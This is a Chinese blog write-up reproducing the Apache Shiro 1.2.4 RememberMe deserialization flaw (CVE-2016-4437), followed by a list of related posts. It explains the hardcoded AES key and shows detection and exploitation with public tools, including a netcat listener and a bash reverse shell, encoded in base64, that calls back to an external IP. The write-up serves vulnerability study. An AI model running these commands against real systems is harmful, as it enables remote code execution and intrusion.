漏洞介绍

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

在Shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞

poc

使用burp抓取当前页面数据包,在cookie中添加rememberMe=1,在响应包中显示两个Set-Cookie: rememberMe=deleteMe,说明存在shiro框架可能存在漏洞

exp

我的vm虚拟机 kali IP: 192.168.100.131

我的花生壳 映射外网地址 103.46.128.21:49040-> 192.168.100.131:8888

使用Shiro_exploit进行漏洞利用

项目地址:https://github.com/insightglacier/Shiro_exploit

检测是否存在shiro漏洞

python .\shiro_exploit.py -u http://123.58.224.8:25050/


vulnerable:True表示存在shiro漏洞

反弹shell利用

  • kali 监听
 nc -lnvp 8888

  • 执行利用脚本
python shiro_exploit.py -t 3 -u  http://123.58.224.8:25050/  -p "bash加密命令"
# bash命令
bash -i >& /dev/tcp/103.46.128.21/49040 0>&1
# bash加密后命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDMuNDYuMTI4LjIxLzQ5MDQwIDA+JjE=}|{base64,-d}|{bash,-i}
python shiro_exploit.py -t 3 -u   http://123.58.224.8:25050/  -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDMuNDYuMTI4LjIxLzQ5MDQwIDA+JjE=}|{base64,-d}|{bash,-i}"


成功反弹shell

使用一键利用工具复现

项目地址:https://github.com/j1anFen/shiro_attack/releases/tag/2.2

扫描工具

都是能够识别出shiro

afrog

Yakit

【漏洞复现】shiro 反序列化 (CVE-2016-4437)相关推荐

  1. 漏洞复现——shiro反序列化

    今天咱们的主角是shiro反序列化命令执行漏洞.该漏洞在HVV等大型攻防项目中,经常被作为突破口.简单介绍了解一下还是很有必要的.废话不多说,进入正题. 一.漏洞描述: Apache Shiro是美国 ...

  2. 210104-技术分享-漏洞复现-shiro

    目录 2021年1月4日 技术分享-漏洞复现-shiro by:leesin(ps:内部使用,未经授权不得外发) 1. shiro反序列号漏洞 1.1 漏洞形成原因 1.2 复现工具 1.3 工具使用 ...

  3. 每天一个漏洞之——shiro反序列化

    每天一个漏洞之--shiro反序列化 原因:Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie.在服务端对rememberMe的 ...

  4. Jenkins cve-2016-0792 漏洞复现 Xstream 反序列化漏洞

    环境搭建 首先需要安装jenkins,这里使用的是1.642.1版本,其他版本可以自行下载,在官网和百度一开始都是没找到的,包括看了其他人的分析,但是都没有找到环境搭建,大部分是直接复现和poc分析 ...

  5. rmi反序列化导致rce漏洞修复_RMI反序列化漏洞分析

    原创:Xman21合天智汇 一.RMI简介 首先看一下RMI在wikipedia上的描述: Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Ja ...

  6. [Vulhub] Weblogic 漏洞复现

    文章目录 Weblogic 常规渗透测试环境 0x00 测试环境 0x01 弱口令 0x02 任意文件读取漏洞的利用 0x03 后台上传webshell Weblogic WLS Core Compo ...

  7. shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...

  8. Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

    Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 漏洞环境搭建 漏洞复现 反弹shell 题外话1 题外话2 影响版本:Apache Shiro <= 1.2.4 漏洞产生 ...

  9. shiro反序列化漏洞的原理和复现

    一.shiro简介 Shiro是一个强大的简单易用的Java安全框架,主要用来更便捷的认证,授权,加密,会话管理.Shiro首要的和最重要的目标就是容易使用并且容易理解. 二.shiro的身份认证工作 ...

  10. Shiro RememberMe反序列化漏洞复现(Shiro-550)

    0x00 漏洞原理简要分析 官方说明:https://issues.apache.org/jira/browse/SHIRO-550 Shiro提供了记住我(RememberMe)的功能,关闭了浏览器 ...

最新文章

  1. 如何利用azMan (Authorization Manager) 实现 role-based的安全验证机制
  2. QTCreator使用MSVC编译开发配置问题、VS2015开发qt问题
  3. 组策略链接顺序优先级
  4. opencv:卷积涉及的基础概念,Sobel边缘检测代码实现及卷积填充模式
  5. 前端学习(239):渐进增强和优雅降级
  6. python中import sys_python import sys出错怎么办
  7. md5与des算法有何不同_到底AI芯片和传统芯片有何区别?
  8. mysql column legnth too big for_Column length too big for column 'Flist' (max = 21845);
  9. eclipse中选中字段,其他相同字段被覆盖的颜色修改
  10. 微信自定义菜单java_使用Java语言开发微信公众平台(八)——自定义菜单功能
  11. 消除代码中的 if-else/switch-case
  12. IDEA跟金山词霸的小bug
  13. 过 DNF TP 驱动保护(二)
  14. k8s生命周期---容器探测
  15. arduino环境esp32跑freertos系统实现触摸检测及wifi控制
  16. Struts2+Spring+Hibernate 三大框架的合并集成
  17. Java泛型方法的定义
  18. 中石油12203-Darker and Darker
  19. 2012年4月编程语言排行榜:C语言重返第一
  20. 解决重邮无法访问蓝鸽听力以及无法访问部分内网的解决方法

热门文章

  1. 【Linux】使用私人服务器搭建qq机器人
  2. 软文营销保持好奇心才能吸引读者采取行动
  3. Nodejs开发微信公众号--获取access_token
  4. 业务规范之springboot整合swagger2
  5. nodeJS 第一篇
  6. html文件怎么打印没响应,打印机打印文件时显示未响应是怎么回事
  7. 家里网络连不上outlook_家里OUTLOOK上不了如何处理--
  8. python模拟登录注册知网
  9. 微服务架构的深入理解-总结的很好
  10. JavaEE与云服务知识概括